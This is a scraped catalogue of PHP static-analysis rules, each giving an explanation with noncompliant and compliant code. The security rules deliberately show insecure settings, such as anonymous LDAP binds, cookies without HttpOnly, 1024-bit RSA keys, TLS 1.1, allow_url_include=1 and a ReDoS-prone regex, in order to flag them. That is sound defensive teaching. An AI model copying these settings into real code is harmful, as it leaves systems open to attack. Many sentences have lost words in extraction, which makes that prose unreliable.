In PHP 5 both the way to declare a constructor and the way to make a call to a parent constructor have evolved. When declaring constructors with
the PHP5 Noncompliant Code Exampleclass Foo extends Bar { function __construct() { parent::Bar(); } } Compliant Solutionclass Foo extends Bar { function __construct() { parent::__construct(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1848 |
There is no good reason to create a new object to not do anything with it. Most of the time, this is due to a missing piece of code and so could lead to an unexpected behavior in production. If it was done on purpose because the constructor has side-effects, then that side-effect code should be moved into a separate, static method and called directly. Noncompliant Code Exampleif ($x < 0) { new foo; // Noncompliant } Compliant Solution$var = NULL; if ($x < 0) { $var = new foo; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1607 |
When a test fails due, for example, to infrastructure issues, you might want to ignore it temporarily. But without some kind of notation about why the test is being ignored, it may never be reactivated. Such tests are difficult to address without comprehensive knowledge of the project, and end up polluting their projects. This rule raises an issue on each test that is marked as incomplete or skipped without a message explaining the reasoning behind it. Noncompliant Code Exampleprotected function setUp() { if (!extension_loaded('mysqli')) { $this->markTestSkipped(); // Noncompliant } } public function testSomething() { $this->assertTrue($result->isValid()); $this->markTestIncomplete(); // Noncompliant } Compliant Solutionprotected function setUp() { if (!extension_loaded('mysqli')) { $this->markTestSkipped( 'The MySQLi extension is not available.' ); // Compliant } } public function testSomething() { $this->assertTrue($result->isValid()); $this->markTestIncomplete( 'Testing result validation is incomplete.' ); // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2011 |
Global variables are a useful construct, but they should not be abused. Functions can access the global scope either through the
Noncompliant Code Example$myGlobalVariable; function foo() { global $myGlobalVariable; // Noncompliant $GLOBALS['myGlobalVariable']; // Noncompliant // ... } Compliant Solutionfunction foo($myStateVariable) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4433 |
An LDAP client authenticates to an LDAP server with a "bind request" which provides, among other, a simple authentication method. Simple authentication in LDAP can be used with three different mechanisms:
Anonymous binds and unauthenticated binds allow access to information in the LDAP directory without providing a password, their use is therefore strongly discouraged. Noncompliant Code Example$ldapconn = ldap_connect("ldap.example.com"); if ($ldapconn) { $ldapbind = ldap_bind($ldapconn); // Noncompliant; anonymous authentication, no user/password provided } Compliant Solution$ldaprdn = 'uname'; $ldappass = 'password'; $ldapconn = ldap_connect("ldap.example.com"); if ($ldapconn) { $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass); // Compliant } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2010 |
PHP has two sets of logical operators: Noncompliant Code Example$have_time = true; $have_money = false; $take_vacation = $have_time and $have_money; // Noncompliant. $take_vacation == true. Compliant Solution$have_time = true; $have_money = false; $take_vacation = $have_time && $have_money; // $take_vacation == false. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2255 |
Using cookies is security-sensitive. It has led in the past to the following vulnerabilities: Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed. This rule flags code that writes cookies. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesCookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session. Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed. Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies. As a side note, every information read from a cookie should be Sanitized. Sensitive Code Example$value = "1234 1234 1234 1234"; // Review this cookie as it seems to send sensitive information (credit card number). setcookie("CreditCardNumber", $value, $expire, $path, $domain, true, true); // Sensitive setrawcookie("CreditCardNumber", $value, $expire, $path, $domain, true, true); // Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1045 |
Exceptions handlers ( In some contexts a
This rule raises an issue when a Noncompliant Code Exampleclass MyException extends Exception {} class MySubException extends MyException {} try { doSomething(); } catch (MyException $e) { echo $e; } catch (MySubException $e) { // Noncompliant: MySubException is a subclass of MyException echo "Never executed"; } Compliant Solutionclass MyException extends Exception {} class MySubException extends MyException {} try { doSomething(); } catch (MySubException $e) { echo "Executed"; } catch (MyException $e) { echo $e; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2014 |
Noncompliant Code Exampleclass Clazz { $name=NULL; // instance variable public static function foo(){ if ($this->name != NULL) { // ... } } } Compliant Solutionclass Clazz { $name=NULL; // instance variable public static function foo($nameParam){ if ($nameParam != NULL) { // ... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S128 |
When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior. Noncompliant Code Exampleswitch ($myVariable) { case 1: foo(); break; case 2: // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ? do_something(); default: do_something_else(); break; } Compliant Solutionswitch ($myVariable) { case 1: foo(); break; case 2: do_something(); break; default: do_something_else(); break; } ExceptionsThis rule is relaxed in following cases: switch ($myVariable) { case 0: // Empty case used to specify the same behavior for a group of cases. case 1: do_something(); break; case 2: // Use of continue statement continue; case 3: // Case includes a jump statement (exit, return, break &etc) exit(0); case 4: echo 'Second case, which falls through'; // no break <- comment is used when fall-through is intentional in a non-empty case body default: // For the last case, use of break statement is optional doSomethingElse(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S126 |
This rule applies whenever an The requirement for a final The Noncompliant Code Exampleif (condition1) { do_something(); } else if (condition2) { do_something_else(); } Compliant Solutionif (condition1) { do_something(); } else if (condition2) { do_something_else(); } else { throw new InvalidArgumentException('message'); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S127 |
A Stop conditions that are not invariant are slightly less efficient, as well as being difficult to understand and maintain, and likely lead to the introduction of errors in the future. This rule tracks three types of non-invariant stop conditions:
Noncompliant Code Examplefor ($i = 0; $i < 10; $i++) { echo $i; if(condition) { $i = 20; } } Compliant Solutionfor ($i = 0; $i < 10; $i++) { echo $i; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S125 |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1151 |
The Noncompliant Code ExampleWith a threshold of 5: switch ($var) { case 0: // 6 lines till next case methodCall1(); methodCall2(); methodCall3(); methodCall4(); break; default: break; } Compliant Solutionswitch ($var) { case 0: doSomething(); break; default: break; } function doSomething(){ methodCall1(""); methodCall2(""); methodCall3(""); methodCall4(""); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2918 |
For instance, if the user explicitly turns logging on for a script, but then the script itself uses Noncompliant Code Exampleini_set('display_errors', 0); // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2007 |
Defining and using global variables and global functions, when the convention dictates OOP can be confusing and difficult to use properly for multiple reasons:
Instead of being declared globally, such variables and functions should be moved into a class, potentially marked This rule checks that only object-oriented programming is used and that no functions or procedures are declared outside of a class. Noncompliant Code Example<?php $name = "Bob"; // Noncompliant function doSomething($arg) { // Noncompliant //... } class MyClass { //... } Compliant Solution<?php class MyClass { public static $name = "Bob"; // Compliant public static function doSomething($arg) { // Compliant //... } //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3338 |
This rule raises an issue when Noncompliant Code Example; php.ini file_uploads=1 ; Noncompliant Compliant Solution; php.ini file_uploads=0 See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2000 |
Having characters before Noncompliant Code Exampletest<?php //Noncompliant // ... and // Noncompliant; newline before opening tag <?php // ... Compliant Solution<?php // ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3331 |
A cookie's domain specifies which websites should be able to read it. Left blank, browsers are supposed to only send the cookie to sites that exactly match the sending domain. For example, if a cookie was set by lovely.dream.com, it should only be readable by that domain, and not by nightmare.com or even strange.dream.com. If you want to allow sub-domain access for a cookie, you can specify it by adding a dot in front of the cookie's domain, like so: .dream.com. But cookie domains should always use at least two levels. Cookie domains can be set either programmatically or via configuration. This rule raises an issue when any cookie domain is set with a single level, as in .com. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Noncompliant Code Examplesetcookie("TestCookie", $value, time()+3600, "/~path/", ".com", 1); // Noncompliant session_set_cookie_params(3600, "/~path/", ".com"); // Noncompliant // inside php.ini session.cookie_domain=".com"; // Noncompliant Compliant Solutionsetcookie("TestCookie", $value, time()+3600, "/~path/", ".myDomain.com", 1); session_set_cookie_params(3600, "/~path/", ".myDomain.com"); // inside php.ini session.cookie_domain=".myDomain.com"; See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4784 |
Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities: Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as
Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users. This rule flags any execution of a hardcoded regular expression which has at least 3 characters and contains at at least two instances of any of
the following characters Example: The following functions are detected as executing regular expressions:
Note that This rule's goal is to guide security code reviews. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesDo not set the constant Check the error codes of PCRE functions via Check whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using. Do not run vulnerable regular expressions on user input. Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2. Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection. Avoid executing a user input string as a regular expression or use at least ExceptionsAn issue will be created for the functions The current implementation does not follow variables. It will only detect regular expressions hard-coded directly in the function call. $pattern = "/(a+)+/"; $result = eregi($pattern, $input); // No issue will be raised even if it is Sensitive Some corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: It is a good idea to test your regular expression if it has the same pattern on both side of a " See
DeprecatedThis rule is deprecated; use S2631 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3330 |
When a cookie is configured with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleIn php.ini you can specify the flags for the session cookie which is security-sensitive: session.cookie_httponly = 0; // Sensitive: this sensitive session cookie is created with the httponly flag set to false and so it can be stolen easily in case of XSS vulnerability Same thing in PHP code: session_set_cookie_params($lifetime, $path, $domain, true, false); // Sensitive: this sensitive session cookie is created with the httponly flag (the fifth argument) set to false and so it can be stolen easily in case of XSS vulnerability If you create a custom security-sensitive cookie in your PHP code: $value = "sensitive data"; setcookie($name, $value, $expire, $path, $domain, true, false); // Sensitive: this sensitive cookie is created with the httponly flag (the seventh argument) set to false and so it can be stolen easily in case of XSS vulnerability By default $value = "sensitive data"; setcookie($name, $value, $expire, $path, $domain, true); // Sensitive: a sensitive cookie is created with the httponly flag (the seventh argument) not defined (by default set to false) setrawcookie($name, $value, $expire, $path, $domain, true); // Sensitive: a sensitive cookie is created with the httponly flag (the seventh argument) not defined (by default set to false) Compliant Solutionsession.cookie_httponly = 1; // Compliant: the sensitive cookie is protected against theft thanks (cookie_httponly=1) session_set_cookie_params($lifetime, $path, $domain, true, true); // Compliant: the sensitive cookie is protected against theft thanks to the fifth argument set to true (HttpOnly=true) $value = "sensitive data"; setcookie($name, $value, $expire, $path, $domain, true, true); // Compliant: the sensitive cookie is protected against theft thanks to the seventh argument set to true (HttpOnly=true) setrawcookie($name, $value, $expire, $path, $domain, true, true); // Compliant: the sensitive cookie is protected against theft thanks to the seventh argument set to true (HttpOnly=true) See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S134 |
Nested Such code is hard to read, refactor and therefore maintain. Noncompliant Code ExampleWith the default threshold of 3: if (condition1) { // Compliant - depth = 1 ... if (condition2) { // Compliant - depth = 2 ... for($ = 0; $i < 10; $i++) { // Compliant - depth = 3, not exceeding the limit ... if (condition4) { // Non-Compliant - depth = 4 if (condition5) { // Depth = 5, exceeding the limit, but issues are only reported on depth = 4 ... } return; } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5632 |
Instances of classes that do not derive from the "Throwable" interface cannot be used in a PHP "throw" statement. Many built-in exceptions such as "Exception" and the SPL exception classes do implement the "Throwable" interface and can be extended when creating custom exceptions. This rule raises an issue when an instance of a class that does not implement the "Throwable" interface is used in a "throw" statement . Noncompliant Code Exampleclass NoThrowable {} throw new NoThrowable(); // Noncompliant Compliant Solution<?php class SomeThrowable implements Throwable { // Implementation of the Throwable methods } throw new SomeThrowable(); // Compliant class SomeCustomException extends Exception {} throw new SomeCustomException(); // Compliant{code} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2002 |
Just as pain is your body's way of telling you something is wrong, errors are PHP's way of telling you there's something you need to fix. Neither pain, nor PHP errors should be ignored. Noncompliant Code Example@doSomethingDangerous($password); // Noncompliant; '@' silences errors from function call Compliant SolutiondoSomethingDangerous($password); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S131 |
The requirement for a final Noncompliant Code Exampleswitch ($param) { //missing default clause case 0: do_something(); break; case 1: do_something_else(); break; } Compliant Solutionswitch ($param) { case 0: do_something(); break; case 1: do_something_else(); break; default: error(); break; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2123 |
A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug. Noncompliant Code Example$i = 0; $i = $i++; // Noncompliant; i is still zero Compliant Solution$i = 0; $i++; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3333 |
The
This is not a fool-proof configuration; it can be reset or overridden at the script level. But its use should be seen as a minimum due diligence
step. This rule raises an issue when Noncompliant Code Example; php.ini try 1 ; open_basedir="${USER}/scripts/data" Noncompliant; commented out ; php.ini try 2 open_basedir="/:${USER}/scripts/data" ; Noncompliant; root directory in the list Compliant Solution; php.ini try 1 open_basedir="${USER}/scripts/data" See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1155 |
Using Noncompliant Code Exampleif (count($a) > 0) { // Noncompliant echo $a[0]; } Compliant Solutionif (!empty($a)) { echo $a[0]; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2001 |
Deprecated language features are those that have been retained temporarily for backward compatibility, but which will eventually be removed from the language. In effect, deprecation announces a grace period to allow the smooth transition from the old features to the new ones. In that period, no use of the deprecated features should be added to the code, and all existing uses should be gradually removed. The following functions were deprecated in PHP 5:
The following functions were deprecated in PHP 7:
See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3332 |
Cookies without fixed lifetimes or expiration dates are known as non-persistent, or "session" cookies, meaning they last only as long as the browser session, and poof away when the browser closes. Cookies with expiration dates, "persistent" cookies, are stored/persisted until those dates. Non-persistent cookies should be used for the management of logged-in sessions on web sites. To make a cookie non-persistent, simply omit the
This rule raises an issue when See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2004 |
Nesting functions can quickly turn your code into "spaghetti code". Such code is hard to read, refactor and therefore to maintain. Noncompliant Code ExampleWith the default threshold of 3: function f () { function f_inner () { function f_inner_inner() { function f_inner_inner_inner() { // Noncompliant } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3335 |
The This rule raises an issue when when Noncompliant Code Example; php.ini cgi.force_redirect=0 ; Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4426 |
Most of cryptographic systems require a sufficient key size to be robust against brute-force attacks. NIST recommendations will be checked for these use-cases: Digital Signature Generation and Verification:
Key Agreement:
Symmetric keys:
This rule will not raise issues for ciphers that are considered weak (no matter the key size) like Noncompliant Code Example$config = array( "digest_alg" => "sha512", "private_key_bits" => 1024, // Noncompliant "private_key_type" => OPENSSL_KEYTYPE_RSA, ); $res = openssl_pkey_new($config); Compliant Solution$config = array( "digest_alg" => "sha512", "private_key_bits" => 2048 // Compliant "private_key_type" => OPENSSL_KEYTYPE_RSA, ); $res = openssl_pkey_new($config); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2245 |
Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities: When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information. As the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Example$random = rand(); $random2 = mt_rand(0, 99); Compliant Solution$randomInt = random_int(0,99); // Compliant; generates a cryptographically secure random integer See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2003 |
At root,
Predictably, the difference between Because including the same file multiple times could have unpredictable results, the "once" versions are preferred. Because Noncompliant Code Exampleinclude 'code.php'; //Noncompliant; not a "_once" usage and not conditional include $user.'_history.php'; // Noncompliant require 'more_code.php'; // Noncompliant; not a "_once" usage Compliant Solutionrequire_once 'code.php'; if (is_member($user)) { include_once $user.'_history.php'; } require_once 'more_code.php'; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3334 |
This rule raises an issue when either property is explicitly enabled in php.ini and when Noncompliant Code Example; php.ini Noncompliant; allow_url_fopen not explicitly disabled allow_url_include=1 ; Noncompliant Compliant Solution; php.ini allow_url_fopen=0 allow_url_include=0 See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4423 |
Older versions of SSL/TLS protocol like "SSLv3" have been proven to be insecure. This rule raises an issue when an SSL/TLS context is created with an insecure protocol version (ie: a protocol different from "TLSv1.2", "TLSv1.3", "DTLSv1.2" or "DTLSv1.3"). Noncompliant Code Example$ctx = stream_context_create([ 'ssl' => [ 'crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT // Noncompliant ], ]); Compliant Solution$ctx = stream_context_create([ 'ssl' => [ 'crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT ], ]); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3337 |
This rule raises an issue when Noncompliant Code Example; php.ini enable_dl=1 ; Noncompliant Compliant Solution; php.ini enable_dl=0 See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2005 |
There is no reason to concatenate literal strings. Doing so is an exercise in reducing code readability. Instead, the strings should be combined. Noncompliant Code Example$msg = "Hello " . "${name}" . "!"; // Noncompliant Compliant Solution$msg = "Hello ${name}!"; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4787 |
Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities: Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.
This rule flags function calls that initiate encryption/decryption. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleBuiltin functions function myEncrypt($cipher, $key, $data, $mode, $iv, $options, $padding, $infile, $outfile, $recipcerts, $headers, $nonce, $ad, $pub_key_ids, $env_keys) { mcrypt_ecb ($cipher, $key, $data, $mode); // Sensitive mcrypt_cfb($cipher, $key, $data, $mode, $iv); // Sensitive mcrypt_cbc($cipher, $key, $data, $mode, $iv); // Sensitive mcrypt_encrypt($cipher, $key, $data, $mode); // Sensitive openssl_encrypt($data, $cipher, $key, $options, $iv); // Sensitive openssl_public_encrypt($data, $crypted, $key, $padding); // Sensitive openssl_pkcs7_encrypt($infile, $outfile, $recipcerts, $headers); // Sensitive openssl_seal($data, $sealed_data, $env_keys, $pub_key_ids); // Sensitive sodium_crypto_aead_aes256gcm_encrypt ($data, $ad, $nonce, $key); // Sensitive sodium_crypto_aead_chacha20poly1305_encrypt ($data, $ad, $nonce, $key); // Sensitive sodium_crypto_aead_chacha20poly1305_ietf_encrypt ($data, $ad, $nonce, $key); // Sensitive sodium_crypto_aead_xchacha20poly1305_ietf_encrypt ($data, $ad, $nonce, $key); // Sensitive sodium_crypto_box_seal ($data, $key); // Sensitive sodium_crypto_box ($data, $nonce, $key); // Sensitive sodium_crypto_secretbox ($data, $nonce, $key); // Sensitive sodium_crypto_stream_xor ($data, $nonce, $key); // Sensitive } CakePHP use Cake\Utility\Security; function myCakeEncrypt($key, $data, $engine) { Security::encrypt($data, $key); // Sensitive // Do not use custom made engines and remember that Mcrypt is deprecated. Security::engine($engine); // Sensitive. Setting the encryption engine. } CodeIgniter class EncryptionController extends CI_Controller { public function __construct() { parent::__construct(); $this->load->library('encryption'); } public function index() { $this->encryption->create_key(16); // Sensitive. Review the key length. $this->encryption->initialize( // Sensitive. array( 'cipher' => 'aes-256', 'mode' => 'ctr', 'key' => 'the key', ) ); $this->encryption->encrypt("mysecretdata"); // Sensitive. } } CraftCMS version 3 use Craft; // This is similar to Yii as it used by CraftCMS function craftEncrypt($data, $key, $password) { Craft::$app->security->encryptByKey($data, $key); // Sensitive Craft::$app->getSecurity()->encryptByKey($data, $key); // Sensitive Craft::$app->security->encryptByPassword($data, $password); // Sensitive Craft::$app->getSecurity()->encryptByPassword($data, $password); // Sensitive } Drupal 7 - Encrypt module function drupalEncrypt() { $encrypted_text = encrypt('some string to encrypt'); // Sensitive } Joomla use Joomla\Crypt\CipherInterface; abstract class MyCipher implements CipherInterface // Sensitive. Implementing custom cipher class {} function joomlaEncrypt() { new Joomla\Crypt\Cipher_Sodium(); // Sensitive new Joomla\Crypt\Cipher_Simple(); // Sensitive new Joomla\Crypt\Cipher_Rijndael256(); // Sensitive new Joomla\Crypt\Cipher_Crypto(); // Sensitive new Joomla\Crypt\Cipher_Blowfish(); // Sensitive new Joomla\Crypt\Cipher_3DES(); // Sensitive } } Laravel use Illuminate\Support\Facades\Crypt; function myLaravelEncrypt($data) { Crypt::encryptString($data); // Sensitive Crypt::encrypt($data); // Sensitive // encrypt using the Laravel "encrypt" helper encrypt($data); // Sensitive } PHP-Encryption library use Defuse\Crypto\Crypto; use Defuse\Crypto\File; function mypPhpEncryption($data, $key, $password, $inputFilename, $outputFilename, $inputHandle, $outputHandle) { Crypto::encrypt($data, $key); // Sensitive Crypto::encryptWithPassword($data, $password); // Sensitive File::encryptFile($inputFilename, $outputFilename, $key); // Sensitive File::encryptFileWithPassword($inputFilename, $outputFilename, $password); // Sensitive File::encryptResource($inputHandle, $outputHandle, $key); // Sensitive File::encryptResourceWithPassword($inputHandle, $outputHandle, $password); // Sensitive } PhpSecLib function myphpseclib($mode) { new phpseclib\Crypt\RSA(); // Sensitive. Note: RSA can also be used for signing data. new phpseclib\Crypt\AES(); // Sensitive new phpseclib\Crypt\Rijndael(); // Sensitive new phpseclib\Crypt\Twofish(); // Sensitive new phpseclib\Crypt\Blowfish(); // Sensitive new phpseclib\Crypt\RC4(); // Sensitive new phpseclib\Crypt\RC2(); // Sensitive new phpseclib\Crypt\TripleDES(); // Sensitive new phpseclib\Crypt\DES(); // Sensitive new phpseclib\Crypt\AES($mode); // Sensitive new phpseclib\Crypt\Rijndael($mode); // Sensitive new phpseclib\Crypt\TripleDES($mode); // Sensitive new phpseclib\Crypt\DES($mode); // Sensitive } Sodium Compat library function mySodiumCompatEncrypt($data, $ad, $nonce, $key) { ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt($data, $ad, $nonce, $key); // Sensitive ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt($data, $ad, $nonce, $key); // Sensitive ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt($data, $ad, $nonce, $key); // Sensitive ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($data, $ad, $nonce, $key); // Sensitive ParagonIE_Sodium_Compat::crypto_box($data, $nonce, $key); // Sensitive ParagonIE_Sodium_Compat::crypto_secretbox($data, $nonce, $key); // Sensitive ParagonIE_Sodium_Compat::crypto_box_seal($data, $key); // Sensitive ParagonIE_Sodium_Compat::crypto_secretbox_xchacha20poly1305($data, $nonce, $key); // Sensitive } Yii version 2 use Yii; // Similar to CraftCMS as it uses Yii function YiiEncrypt($data, $key, $password) { Yii::$app->security->encryptByKey($data, $key); // Sensitive Yii::$app->getSecurity()->encryptByKey($data, $key); // Sensitive Yii::$app->security->encryptByPassword($data, $password); // Sensitive Yii::$app->getSecurity()->encryptByPassword($data, $password); // Sensitive } Zend use Zend\Crypt\FileCipher; use Zend\Crypt\PublicKey\DiffieHellman; use Zend\Crypt\PublicKey\Rsa; use Zend\Crypt\Hybrid; use Zend\Crypt\BlockCipher; function myZendEncrypt($key, $data, $prime, $options, $generator, $lib) { new FileCipher; // Sensitive. This is used to encrypt files new DiffieHellman($prime, $generator, $key); // Sensitive $rsa = Rsa::factory([ // Sensitive 'public_key' => 'public_key.pub', 'private_key' => 'private_key.pem', 'pass_phrase' => 'mypassphrase', 'binary_output' => false, ]); $rsa->encrypt($data); // No issue raised here. The configuration of the Rsa object is the line to review. $hybrid = new Hybrid(); // Sensitive BlockCipher::factory($lib, $options); // Sensitive } See
Deprecated |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3699 |
If a function does not return anything, it makes no sense to use its output. Specifically, passing it to another function, or assigning its "result" to a variable is probably a bug because such functions return nothing, which is probably not what was intended. Noncompliant Code Example$result = closedir($dir_handle); // Noncompliant, "closedir" does not return anything. Compliant Solutionclosedir($dir_handle); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3336 |
PHP's
For that reason, it's better to practice a little "tough love" with your users and force them to turn on cookies. Since Noncompliant Code Example; php.ini session.use_trans_sid=1 ; Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3360 |
